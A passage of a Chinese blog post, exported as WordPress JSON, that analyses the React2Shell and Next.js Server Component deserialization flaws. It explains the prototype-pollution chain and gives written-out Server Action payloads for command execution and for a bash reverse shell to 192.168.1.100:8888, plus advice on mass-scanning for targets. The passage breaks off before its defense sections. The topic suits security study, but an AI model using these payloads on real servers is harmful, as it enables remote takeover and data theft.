{"id":79604,"date":"2026-03-02T17:25:47","date_gmt":"2026-03-02T09:25:47","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/79604.html"},"modified":"2026-03-02T17:25:47","modified_gmt":"2026-03-02T09:25:47","slug":"%e4%bb%8e%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%88%b0%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%8e%a5%e7%ae%a1%ef%bc%9areact2shell%e4%b8%8enext-js%e6%bc%8f%e6%b4%9e%e6%94%bb%e9%98%b2%e5%85%a8%e6%99%af%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/79604.html","title":{"rendered":"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790"},"content":{"rendered":"<p>React2Shell&#xff08;CVE-2025-55182&#xff09;\u4f5c\u4e3aReact\u751f\u6001\u8fd1\u5e74\u6765\u6700\u5177\u7834\u574f\u6027\u7684\u6ee1\u5206RCE\u6f0f\u6d1e&#xff0c;\u5176\u6838\u5fc3\u6e90\u4e8eReact Server Components&#xff08;RSC&#xff09;\u5e95\u5c42Flight\u534f\u8bae\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u7f3a\u9677&#xff1b;\u800cNext.js\u4f5c\u4e3a\u5f53\u524d\u6700\u4e3b\u6d41\u7684React\u6846\u67b6&#xff0c;\u4f9d\u6258RSC\u5b9e\u73b0\u670d\u52a1\u7aef\u6e32\u67d3\u4e0e\u7ec4\u4ef6\u4ea4\u4e92&#xff0c;\u540c\u6b65\u884d\u751f\u51fa\u5bf9\u5e94\u9ad8\u5371\u6f0f\u6d1eCVE-2025-66478\u3002\u4e24\u5927\u6f0f\u6d1e\u5f62\u6210\u201c\u4e0a\u6e38\u7f3a\u9677&#043;\u4e0b\u6e38\u4f20\u5bfc\u201d\u7684\u653b\u51fb\u94fe\u6761&#xff0c;\u65e0\u9700\u8eab\u4efd\u8ba4\u8bc1\u3001\u5229\u7528\u95e8\u69db\u6781\u4f4e&#xff0c;\u53ef\u76f4\u63a5\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5e76\u63a5\u7ba1\u670d\u52a1\u5668&#xff0c;\u5bf9\u5168\u7403\u6d77\u91cfReact\/Next.js\u5e94\u7528\u6784\u6210\u81f4\u547d\u5a01\u80c1\u3002<\/p>\n<p>\u672c\u6587\u7acb\u8db3\u653b\u9632\u5bf9\u6297\u89c6\u89d2&#xff0c;\u7a81\u7834\u4f20\u7edf\u6f0f\u6d1e\u89e3\u6790\u7684\u5355\u4e00\u7ef4\u5ea6&#xff0c;\u4ece\u6f0f\u6d1e\u6eaf\u6e90\u3001\u6838\u5fc3\u539f\u7406\u3001\u653b\u51fb\u5168\u6d41\u7a0b&#xff08;\u624b\u6cd5\u3001Payload\u3001\u5de5\u5177\u3001\u7ed5\u8fc7&#xff09;\u3001\u9632\u5fa1\u4f53\u7cfb&#xff08;\u4fee\u590d\u3001\u52a0\u56fa\u3001\u68c0\u6d4b\u3001\u5e94\u6025&#xff09;\u3001\u5b9e\u6218\u573a\u666f\u590d\u76d8&#xff0c;\u5230\u672a\u6765\u6f0f\u6d1e\u6f14\u5316\u4e0e\u9632\u62a4\u524d\u77bb&#xff0c;\u8fdb\u884c\u5168\u65b9\u4f4d\u3001\u6df1\u5c42\u6b21\u62c6\u89e3&#xff0c;\u65e2\u6ee1\u8db3\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u7684\u5b9e\u6218\u9700\u6c42&#xff0c;\u4e5f\u4e3a\u5b89\u5168\u8fd0\u7ef4\u3001\u5f00\u53d1\u4eba\u5458\u63d0\u4f9b\u4f53\u7cfb\u5316\u7684\u9632\u62a4\u6307\u5357&#xff0c;\u52a9\u529b\u4f01\u4e1a\u6784\u5efa\u4e3b\u52a8\u9632\u5fa1\u5c4f\u969c\u3002<\/p>\n<h2>\u4e00\u3001\u6f0f\u6d1e\u6eaf\u6e90\u4e0e\u6838\u5fc3\u5171\u8bc6&#xff08;\u653b\u9632\u57fa\u7840\u524d\u63d0&#xff09;<\/h2>\n<h3>1.1 \u6f0f\u6d1e\u80cc\u666f\u4e0e\u5f71\u54cd\u8303\u56f4&#xff08;\u7cbe\u51c6\u5b9a\u4f4d\u653b\u51fb\u9762&#xff09;<\/h3>\n<p>\u968f\u7740React 18\u5f15\u5165Server Components&#xff08;RSC&#xff09;&#xff0c;\u65e8\u5728\u89e3\u51b3\u524d\u7aef\u6e32\u67d3\u6027\u80fd\u74f6\u9888\u3001\u51cf\u5c11\u5ba2\u6237\u7aefJS\u4f53\u79ef&#xff0c;\u5176\u6838\u5fc3\u901a\u4fe1\u534f\u8bae\u2014\u2014Flight\u534f\u8bae&#xff0c;\u8d1f\u8d23\u5728\u670d\u52a1\u7aef\u4e0e\u5ba2\u6237\u7aef\u4e4b\u95f4\u4f20\u8f93\u7ec4\u4ef6\u6570\u636e\u3002\u800cReact2Shell\u6f0f\u6d1e\u7684\u51fa\u73b0&#xff0c;\u76f4\u63a5\u6253\u7834\u4e86\u8fd9\u4e00\u901a\u4fe1\u94fe\u8def\u7684\u5b89\u5168\u6027&#xff0c;\u4e14\u901a\u8fc7\u6846\u67b6\u4f9d\u8d56\u5173\u7cfb&#xff0c;\u5feb\u901f\u4f20\u5bfc\u81f3Next.js\u7b49\u4e3b\u6d41\u4e0a\u5c42\u6846\u67b6&#xff0c;\u5f62\u6210\u201c\u4e00\u635f\u4ff1\u635f\u201d\u7684\u6f0f\u6d1e\u683c\u5c40\u3002<\/p>\n<ul>\n<li>\n<p>React\u4fa7\u6f0f\u6d1e&#xff08;CVE-2025-55182&#xff09;&#xff1a;\u5b98\u65b9\u7f16\u53f7CVE-2025-55182&#xff0c;CVSS\u8bc4\u520610.0&#xff08;Critical&#xff09;&#xff0c;\u5c5e\u4e8e\u201c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e&#043;\u539f\u578b\u94fe\u6c61\u67d3\u201d\u7684\u7ec4\u5408\u578b\u9ad8\u5371\u7f3a\u9677&#xff0c;\u6e90\u4e8ereact-server-dom-webpack\u5305\u5728\u5904\u7406Flight\u534f\u8bae\u6570\u636e\u65f6&#xff0c;\u672a\u5bf9\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u8fdb\u884c\u539f\u578b\u94fe\u6821\u9a8c&#xff0c;\u4e14\u5b58\u5728thenable\u5bf9\u8c61\u8bef\u5224\u903b\u8f91\u3002\u5f71\u54cd\u8303\u56f4\u8986\u76d6React 18.2.0\u81f319.2.2\u6240\u6709\u7248\u672c&#xff0c;\u4ee5\u53ca\u6240\u6709\u57fa\u4e8eRSC\u5f00\u53d1\u7684\u7b2c\u4e09\u65b9\u5e93\u3001\u6846\u67b6&#xff08;\u5305\u62ec\u4f46\u4e0d\u9650\u4e8eNext.js\u3001Remix\u3001Gatsby&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>Next.js\u4fa7\u6f0f\u6d1e&#xff08;CVE-2025-66478&#xff09;&#xff1a;\u4f5c\u4e3aReact\u751f\u6001\u7684\u201c\u6d41\u91cf\u62c5\u5f53\u201d&#xff0c;Next.js\u5728App Router\u6a21\u5f0f\u4e2d\u6df1\u5ea6\u4f9d\u8d56RSC\u4e0eFlight\u534f\u8bae&#xff0c;\u672a\u5bf9\u4e0a\u6e38React\u6f0f\u6d1e\u8fdb\u884c\u989d\u5916\u9632\u62a4&#xff0c;\u5bfc\u81f4\u6f0f\u6d1e\u76f4\u63a5\u4f20\u5bfc\u3002\u8be5\u6f0f\u6d1e\u5f71\u54cdNext.js 13.4.0\u81f315.5.6\u300116.0.0\u81f316.0.6\u6240\u6709\u7248\u672c&#xff08;Pages Router\u6a21\u5f0f\u56e0\u672a\u542f\u7528RSC&#xff0c;\u4e0d\u53d7\u5f71\u54cd&#xff09;&#xff0c;\u8986\u76d6\u5168\u7403\u6570\u767e\u4e07\u751f\u4ea7\u73af\u5883\u5e94\u7528&#xff0c;\u5305\u62ec\u7535\u5546\u3001\u653f\u52a1\u3001\u4f01\u4e1a\u5b98\u7f51\u7b49\u6838\u5fc3\u4e1a\u52a1\u573a\u666f\u3002<\/p>\n<\/li>\n<li>\n<p>\u6f0f\u6d1e\u8f90\u5c04\u8303\u56f4&#xff1a;\u636e\u7edf\u8ba1&#xff0c;\u622a\u81f3\u76ee\u524d&#xff0c;\u5168\u7403\u7ea6\u670937%\u7684React\u5e94\u7528\u542f\u7528RSC&#xff0c;\u5176\u4e2d68%\u91c7\u7528Next.js\u6846\u67b6\u5f00\u53d1&#xff0c;\u6d89\u53ca\u91d1\u878d\u3001\u533b\u7597\u3001\u4e92\u8054\u7f51\u3001\u653f\u52a1\u7b49\u591a\u4e2a\u5173\u952e\u9886\u57df&#xff0c;\u4e00\u65e6\u88ab\u5229\u7528&#xff0c;\u53ef\u80fd\u5bfc\u81f4\u7528\u6237\u6570\u636e\u6cc4\u9732\u3001\u670d\u52a1\u5668\u88ab\u63a7\u3001\u4e1a\u52a1\u4e2d\u65ad\u7b49\u91cd\u5927\u5b89\u5168\u4e8b\u6545&#xff0c;\u751a\u81f3\u5f15\u53d1\u8fde\u9501\u5f0f\u653b\u51fb\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>1.2 \u6838\u5fc3\u539f\u7406\u62c6\u89e3&#xff08;\u653b\u9632\u53cc\u65b9\u7684\u6280\u672f\u6838\u5fc3&#xff09;<\/h3>\n<p>\u4e24\u5927\u6f0f\u6d1e\u7684\u672c\u8d28\u7684\u662f\u201cFlight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u7f3a\u9677&#043;\u539f\u578b\u94fe\u6c61\u67d3&#043;thenable\u8bef\u5224\u201d\u7684\u7ec4\u5408\u5229\u7528&#xff0c;\u5176\u5b8c\u6574\u6280\u672f\u94fe\u8def\u53ef\u62c6\u89e3\u4e3a\u4e09\u4e2a\u5173\u952e\u6b65\u9aa4&#xff0c;\u4e5f\u662f\u653b\u51fb\u4fa7\u7684\u6838\u5fc3\u7a81\u7834\u70b9\u3001\u9632\u5fa1\u4fa7\u7684\u5173\u952e\u9632\u62a4\u70b9&#xff0c;\u653b\u9632\u53cc\u65b9\u7684\u5bf9\u6297\u5747\u56f4\u7ed5\u8fd9\u4e00\u94fe\u8def\u5c55\u5f00\u3002<\/p>\n<li>\n<p>\u7b2c\u4e00\u6b65&#xff1a;Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e&#xff08;\u653b\u51fb\u5165\u53e3&#xff09;&#xff1a;Flight\u534f\u8bae\u4f5c\u4e3aRSC\u7684\u6838\u5fc3\u901a\u4fe1\u534f\u8bae&#xff0c;\u91c7\u7528\u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\u683c\u5f0f\u4f20\u8f93\u7ec4\u4ef6\u6570\u636e&#xff08;\u5982\u7ec4\u4ef6\u7c7b\u578b\u3001\u5c5e\u6027\u3001\u72b6\u6001&#xff09;&#xff0c;\u5176\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u7531react-server-dom-webpack\u5305\u8d1f\u8d23\u3002\u8be5\u5305\u5728\u53cd\u5e8f\u5217\u5316\u65f6&#xff0c;\u672a\u5bf9\u8f93\u5165\u6570\u636e\u8fdb\u884c\u4e25\u683c\u6821\u9a8c&#xff0c;\u5141\u8bb8\u653b\u51fb\u8005\u6784\u9020\u542b__proto__&#xff08;\u539f\u578b\u94fe\u6307\u9488&#xff09;\u7684\u6076\u610f\u6570\u636e&#xff0c;\u76f4\u63a5\u6c61\u67d3\u5168\u5c40Object.prototype&#xff08;\u6240\u6709\u5bf9\u8c61\u7684\u539f\u578b&#xff09;\u3002\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u7684\u201c\u6572\u95e8\u7816\u201d&#xff0c;\u4e5f\u662f\u9632\u5fa1\u4fa7\u6700\u57fa\u7840\u7684\u62e6\u622a\u70b9\u3002<\/p>\n<\/li>\n<li>\n<p>\u7b2c\u4e8c\u6b65&#xff1a;\u539f\u578b\u94fe\u6c61\u67d3&#xff08;\u6f0f\u6d1e\u653e\u5927&#xff09;&#xff1a;\u653b\u51fb\u8005\u901a\u8fc7\u6076\u610fPayload\u4e2d\u7684__proto__\u5b57\u6bb5&#xff0c;\u5411Object.prototype\u6ce8\u5165\u81ea\u5b9a\u4e49then\u65b9\u6cd5\u3002\u7531\u4e8eJavaScript\u4e2d\u6240\u6709\u5bf9\u8c61\u5747\u7ee7\u627f\u81eaObject.prototype&#xff0c;\u4e00\u65e6\u6c61\u67d3\u6210\u529f&#xff0c;\u6240\u6709\u666e\u901a\u5bf9\u8c61\u90fd\u4f1a\u88ab\u9644\u52a0\u8be5\u6076\u610fthen\u65b9\u6cd5&#xff0c;\u5f62\u6210\u201c\u5168\u5c40\u6c61\u67d3\u201d\u3002\u8fd9\u4e00\u6b65\u5c06\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u5371\u5bb3\u653e\u5927&#xff0c;\u4ece\u201c\u6570\u636e\u7be1\u6539\u201d\u5347\u7ea7\u4e3a\u201c\u4ee3\u7801\u6267\u884c\u94fa\u57ab\u201d\u3002<\/p>\n<\/li>\n<li>\n<p>\u7b2c\u4e09\u6b65&#xff1a;thenable\u8bef\u5224&#xff08;\u4ee3\u7801\u6267\u884c\u89e6\u53d1&#xff09;&#xff1a;Next.js\u5728\u5904\u7406Server Action&#xff08;\u670d\u52a1\u7aef\u52a8\u4f5c&#xff09;\u65f6&#xff0c;\u4f1a\u901a\u8fc7typeof obj.then &#061;&#061;&#061; &#039;function&#039;\u5224\u65ad\u4e00\u4e2a\u5bf9\u8c61\u662f\u5426\u4e3aPromise&#xff08;\u5f02\u6b65\u5bf9\u8c61&#xff09;&#xff0c;\u82e5\u6ee1\u8db3\u6761\u4ef6\u5219\u4f1a\u901a\u8fc7await\u5173\u952e\u5b57\u89e6\u53d1\u5176then\u65b9\u6cd5\u3002\u88ab\u539f\u578b\u94fe\u6c61\u67d3\u540e\u7684\u666e\u901a\u5bf9\u8c61&#xff0c;\u56e0\u7ee7\u627f\u4e86\u6076\u610fthen\u65b9\u6cd5&#xff0c;\u4f1a\u88ab\u8bef\u5224\u4e3aPromise&#xff0c;\u5f53Next.js\u6267\u884cawait\u64cd\u4f5c\u65f6&#xff0c;\u6076\u610fthen\u65b9\u6cd5\u88ab\u89e6\u53d1\u3002\u653b\u51fb\u8005\u53ef\u5728then\u65b9\u6cd5\u4e2d&#xff0c;\u901a\u8fc7constructor.constructor\u83b7\u53d6Function\u6784\u9020\u5668&#xff0c;\u8fdb\u800c\u6267\u884c\u4efb\u610fJavaScript\u4ee3\u7801\u3001\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4&#xff0c;\u6700\u7ec8\u5b9e\u73b0RCE\u3002<\/p>\n<\/li>\n<p>\u6838\u5fc3\u603b\u7ed3&#xff1a;React2Shell\u662f\u201c\u56e0\u201d&#xff08;\u4e0a\u6e38\u53cd\u5e8f\u5217\u5316\u7f3a\u9677&#xff09;&#xff0c;Next.js\u6f0f\u6d1e\u662f\u201c\u679c\u201d&#xff08;\u4e0b\u6e38\u672a\u9632\u62a4\u4f20\u5bfc&#xff09;&#xff1b;\u653b\u51fb\u4fa7\u5229\u7528\u201c\u53cd\u5e8f\u5217\u5316\u2192\u539f\u578b\u6c61\u67d3\u2192then\u89e6\u53d1\u201d\u7684\u94fe\u8def\u7a81\u7834&#xff0c;\u9632\u5fa1\u4fa7\u5219\u9700\u9488\u5bf9\u6027\u963b\u65ad\u5176\u4e2d\u4efb\u610f\u4e00\u4e2a\u73af\u8282&#xff0c;\u5373\u53ef\u5b9e\u73b0\u6709\u6548\u9632\u62a4\u3002<\/p>\n<h2>\u4e8c\u3001\u653b\u51fb\u4fa7&#xff1a;\u6f0f\u6d1e\u5229\u7528\u5168\u89e3\u6790&#xff08;\u5b9e\u6218\u6e17\u900f\u89c6\u89d2&#xff09;<\/h2>\n<p>\u4ece\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u89d2\u5ea6\u6765\u770b&#xff0c;\u4e24\u5927\u6f0f\u6d1e\u7684\u5229\u7528\u95e8\u69db\u6781\u4f4e&#xff0c;\u65e0\u9700\u590d\u6742\u6280\u672f\u50a8\u5907&#xff0c;\u4ec5\u9700\u6784\u9020\u5bf9\u5e94Payload\u3001\u627e\u5230\u653b\u51fb\u5165\u53e3&#xff0c;\u5373\u53ef\u5b9e\u73b0\u65e0\u8ba4\u8bc1RCE&#xff0c;\u4e14\u5b58\u5728\u591a\u79cd\u5229\u7528\u8def\u5f84\u3001\u7ed5\u8fc7\u624b\u6cd5&#xff0c;\u9002\u914d\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u653b\u51fb\u9700\u6c42\u3002\u4ee5\u4e0b\u4ece\u201c\u524d\u7f6e\u6761\u4ef6\u2192\u6838\u5fc3\u624b\u6cd5\u2192Payload\u6df1\u5ea6\u89e3\u6790\u2192\u5de5\u5177\u4e0e\u6d41\u91cf\u7279\u5f81\u2192\u7ed5\u8fc7\u6280\u5de7\u2192\u5b9e\u6218\u573a\u666f\u201d\u516d\u4e2a\u7ef4\u5ea6&#xff0c;\u5b8c\u6574\u8fd8\u539f\u653b\u51fb\u5168\u6d41\u7a0b\u3002<\/p>\n<h3>2.1 \u653b\u51fb\u524d\u7f6e\u6761\u4ef6&#xff08;\u76ee\u6807\u7b5b\u9009\u4e0e\u63a2\u6d4b&#xff09;<\/h3>\n<p>\u653b\u51fb\u8005\u5728\u53d1\u8d77\u653b\u51fb\u524d&#xff0c;\u9700\u5148\u5bf9\u76ee\u6807\u8fdb\u884c\u63a2\u6d4b&#xff0c;\u786e\u8ba4\u5176\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6&#xff0c;\u907f\u514d\u65e0\u6548\u653b\u51fb&#xff0c;\u63d0\u9ad8\u6210\u529f\u7387&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u7248\u672c\u5339\u914d&#xff1a;\u76ee\u6807\u5e94\u7528\u4f7f\u7528\u7684React\u7248\u672c\u572818.2.0-19.2.2\u4e4b\u95f4&#xff0c;Next.js\u7248\u672c\u572813.4.0-15.5.6\u621616.0.0-16.0.6\u4e4b\u95f4&#xff0c;\u4e14\u542f\u7528Next.js App Router\u6a21\u5f0f&#xff08;\u53ef\u901a\u8fc7\u8bbf\u95ee\/_next\/app\/\u8def\u5f84\u3001\u67e5\u770b\u54cd\u5e94\u5934\u4e2d\u7684Next-Router-Prefetch\u5b57\u6bb5\u5224\u65ad&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u653b\u51fb\u9762\u66b4\u9732&#xff1a;\u76ee\u6807\u516c\u7f51\u5f00\u653eRSC\u76f8\u5173\u7aef\u70b9&#xff0c;\u5305\u62ec\/_next\/data\/[buildId]\/[page].json&#xff08;Flight\u534f\u8bae\u901a\u4fe1\u7aef\u70b9&#xff09;\u3001\/api\/&#xff08;\u63a5\u53e3\u7aef\u70b9&#xff09;\u3001Server Action\u76f8\u5173\u7aef\u70b9&#xff08;\u5982\/api\/action\/xxx&#xff09;&#xff0c;\u4e14\u672a\u505aIP\u9650\u5236\u3001\u8eab\u4efd\u8ba4\u8bc1\u7b49\u9632\u62a4\u3002<\/p>\n<\/li>\n<li>\n<p>\u9632\u62a4\u7f3a\u5931&#xff1a;\u76ee\u6807\u672a\u5347\u7ea7\u5b89\u5168\u7248\u672c\u3001\u672a\u542f\u7528serverActionsStrict\u7b49\u5b89\u5168\u914d\u7f6e&#xff0c;\u65e0WAF&#xff08;Web\u5e94\u7528\u9632\u706b\u5899&#xff09;\u62e6\u622a&#xff0c;\u6216WAF\u89c4\u5219\u5b58\u5728\u6f0f\u6d1e&#xff08;\u5982\u672a\u8fc7\u6ee4__proto__\u3001then\u7b49\u5173\u952e\u5b57&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u73af\u5883\u9002\u914d&#xff1a;\u76ee\u6807\u670d\u52a1\u5668\u8fd0\u884cNode.js\u73af\u5883&#xff08;Next.js\/React RSC\u4f9d\u8d56Node.js&#xff09;&#xff0c;\u4e14Node.js\u8fdb\u7a0b\u62e5\u6709\u4e00\u5b9a\u6743\u9650&#xff08;\u5982\u53ef\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3001\u8bfb\u53d6\u654f\u611f\u6587\u4ef6&#xff09;&#xff0c;\u90e8\u5206\u573a\u666f\u4e0b&#xff0c;\u975eroot\u7528\u6237\u4e5f\u53ef\u5b9e\u73b0\u6838\u5fc3\u653b\u51fb\u76ee\u6807&#xff08;\u5982\u53cd\u5f39Shell\u3001\u7a83\u53d6\u6570\u636e&#xff09;\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u63a2\u6d4b\u5de5\u5177\u4e0e\u65b9\u6cd5&#xff1a;\u53ef\u4f7f\u7528Nmap\u626b\u63cf\u76ee\u6807\u7aef\u53e3\u3001\u76ee\u5f55&#xff08;\u91cd\u70b9\u626b\u63cf\/_next\/data\/\u3001\/api\/&#xff09;&#xff1b;\u4f7f\u7528Burp Suite\u53d1\u9001\u63a2\u6d4b\u8bf7\u6c42&#xff0c;\u67e5\u770b\u54cd\u5e94\u5185\u5bb9\u5224\u65ad\u7248\u672c&#xff1b;\u4f7f\u7528\u81ea\u5b9a\u4e49Python\u811a\u672c\u6279\u91cf\u626b\u63cf\u4e92\u8054\u7f51\u4e0a\u7684\u6f0f\u6d1e\u76ee\u6807&#xff08;\u57fa\u4e8eHTTP\u54cd\u5e94\u5934\u3001\u8def\u5f84\u7279\u5f81\u5339\u914d&#xff09;\u3002<\/p>\n<h3>2.2 \u6838\u5fc3\u5229\u7528\u624b\u6cd5&#xff08;3\u79cd\u4e3b\u6d41\u8def\u5f84&#xff0c;\u9002\u914d\u4e0d\u540c\u573a\u666f&#xff09;<\/h3>\n<p>\u6839\u636e\u76ee\u6807\u5e94\u7528\u7684\u914d\u7f6e\u5dee\u5f02\u3001\u7aef\u70b9\u5f00\u653e\u60c5\u51b5&#xff0c;\u653b\u51fb\u8005\u4e3b\u8981\u91c7\u75283\u79cd\u5229\u7528\u8def\u5f84&#xff0c;\u5176\u4e2dServer Action\u76f4\u63a5\u5229\u7528\u6700\u4e3a\u5e38\u7528&#xff08;\u9002\u914d\u5927\u90e8\u5206Next.js\u5e94\u7528&#xff09;&#xff0c;Flight\u534f\u8bae\u5e95\u5c42\u5229\u7528\u6700\u4e3a\u9690\u853d&#xff08;\u53ef\u7ed5\u8fc7\u90e8\u5206\u7b80\u5355\u9632\u62a4&#xff09;&#xff0c;\u591a\u9636\u6bb5\u7ec4\u5408\u5229\u7528\u5219\u7528\u4e8e\u6df1\u5ea6\u6e17\u900f&#xff08;\u83b7\u53d6\u6301\u4e45\u5316\u63a7\u5236&#xff09;\u3002<\/p>\n<h4>2.2.1 \u8def\u5f841&#xff1a;Server Action\u76f4\u63a5\u5229\u7528&#xff08;\u6700\u5e38\u7528&#xff0c;\u4f4e\u95e8\u69db&#xff09;<\/h4>\n<p>Server Action\u662fNext.js App Router\u6a21\u5f0f\u4e2d\u65b0\u589e\u7684\u529f\u80fd&#xff0c;\u5141\u8bb8\u5f00\u53d1\u8005\u5728\u7ec4\u4ef6\u4e2d\u76f4\u63a5\u5b9a\u4e49\u670d\u52a1\u7aef\u51fd\u6570&#xff0c;\u7528\u4e8e\u5904\u7406\u8868\u5355\u63d0\u4ea4\u3001\u6570\u636e\u67e5\u8be2\u7b49\u64cd\u4f5c&#xff0c;\u5176\u901a\u4fe1\u8fc7\u7a0b\u4f9d\u8d56RSC\u4e0eFlight\u534f\u8bae&#xff0c;\u662f\u6f0f\u6d1e\u5229\u7528\u7684\u6700\u4f73\u5165\u53e3&#xff08;\u5927\u90e8\u5206Next.js\u5e94\u7528\u90fd\u4f1a\u542f\u7528\u8be5\u529f\u80fd&#xff09;\u3002<\/p>\n<ul>\n<li>\n<p>\u653b\u51fb\u5165\u53e3&#xff1a;POST\u8bf7\u6c42\u53d1\u9001\u81f3Server Action\u7aef\u70b9&#xff08;\u53ef\u901a\u8fc7\u524d\u7aef\u6e90\u7801\u3001\u76ee\u5f55\u626b\u63cf\u627e\u5230&#xff0c;\u5982\/api\/action\/submit\u3001\/action\/login&#xff09;&#xff0c;\u8bf7\u6c42\u5934\u9700\u643a\u5e26Next-Action&#xff08;\u6307\u5b9aAction ID&#xff09;\u3001Content-Type: application\/json\u3002<\/p>\n<\/li>\n<li>\n<p>Payload\u6784\u9020\u903b\u8f91&#xff1a;\u6838\u5fc3\u662f\u201c\u539f\u578b\u94fe\u6c61\u67d3&#043;\u6076\u610fthen\u65b9\u6cd5&#043;\u547d\u4ee4\u6267\u884c\u201d&#xff0c;Payload\u9700\u7b26\u5408Next.js Server Action\u7684\u8bf7\u6c42\u683c\u5f0f&#xff0c;\u540c\u65f6\u6ce8\u5165__proto__\u5b57\u6bb5\u6c61\u67d3\u539f\u578b&#xff0c;\u793a\u4f8b\u5982\u4e0b&#xff08;\u5206\u57fa\u7840\u7248\u3001\u8fdb\u9636\u7248&#xff09;&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<p>\u57fa\u7840\u7248Payload&#xff08;\u547d\u4ee4\u6267\u884c&#xff0c;\u67e5\u770b\u670d\u52a1\u5668\u4fe1\u606f&#xff09;&#xff1a;<\/p>\n<p><span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token string-property property\">&#034;actionId&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;xxx&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ \u4ece\u524d\u7aef\u6e90\u7801\u6216\u63a2\u6d4b\u8bf7\u6c42\u4e2d\u83b7\u53d6<\/span><br \/>\n  <span class=\"token string-property property\">&#034;inputs&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">[<\/span><br \/>\n    <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token string-property property\">&#034;name&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;$1:__proto__:then&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ \u539f\u578b\u94fe\u6c61\u67d3\u5b57\u6bb5&#xff0c;$1\u662fNext.js\u7ea6\u5b9a\u7684\u53c2\u6570\u6807\u8bc6<\/span><br \/>\n      <span class=\"token string-property property\">&#034;args&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">[<\/span><br \/>\n        <span class=\"token string\">&#034;function(){return process.mainModule.require(&#039;child_process&#039;).execSync(&#039;id &amp;&amp; uname -a&#039;).toString()}&#034;<\/span><br \/>\n      <span class=\"token punctuation\">]<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">]<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>\u8fdb\u9636\u7248Payload&#xff08;\u53cd\u5f39Shell&#xff0c;\u6301\u4e45\u5316\u63a7\u5236&#xff09;&#xff1a;<\/p>\n<p><span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token string-property property\">&#034;actionId&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;xxx&#034;<\/span><span class=\"token punctuation\">,<\/span><br \/>\n  <span class=\"token string-property property\">&#034;inputs&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">[<\/span><br \/>\n    <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token string-property property\">&#034;name&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token string\">&#034;$1:__proto__:then&#034;<\/span><span class=\"token punctuation\">,<\/span><br \/>\n      <span class=\"token string-property property\">&#034;args&#034;<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">[<\/span><br \/>\n        <span class=\"token string\">&#034;function(){const cp &#061; require(&#039;child_process&#039;);const cmd &#061; &#039;bash -i &gt;&amp; \/dev\/tcp\/192.168.1.100\/8888 0&gt;&amp;1&#039;;cp.spawn(&#039;\/bin\/bash&#039;, [&#039;-c&#039;, cmd], {detached: true, stdio: &#039;ignore&#039;});return &#039;success&#039;;}&#034;<\/span><br \/>\n      <span class=\"token punctuation\">]<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">]<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>\u6267\u884c\u903b\u8f91&#xff1a;\u653b\u51fb\u8005\u53d1\u9001Payload\u2192Next.js\u63a5\u6536\u8bf7\u6c42&#xff0c;\u89e3\u6790Server Action\u53c2\u6570\u2192\u53cd\u5e8f\u5217\u5316\u65f6\u89e6\u53d1\u539f\u578b\u94fe\u6c61\u67d3&#xff0c;\u5411Object.prototype\u6ce8\u5165\u6076\u610fthen\u65b9\u6cd5\u2192Next.js\u5904\u7406inputs\u53c2\u6570\u65f6&#xff0c;\u5c06\u8be5\u5bf9\u8c61\u89c6\u4e3aPromise\u5e76\u6267\u884cawait\u2192\u89e6\u53d1\u6076\u610fthen\u65b9\u6cd5&#xff0c;\u6267\u884cexecSync\/spawn\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u2192\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c&#xff08;\u57fa\u7840\u7248&#xff09;\u6216\u53cd\u5f39Shell\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668&#xff08;\u8fdb\u9636\u7248&#xff09;\u3002<\/p>\n<h4>2.2.2 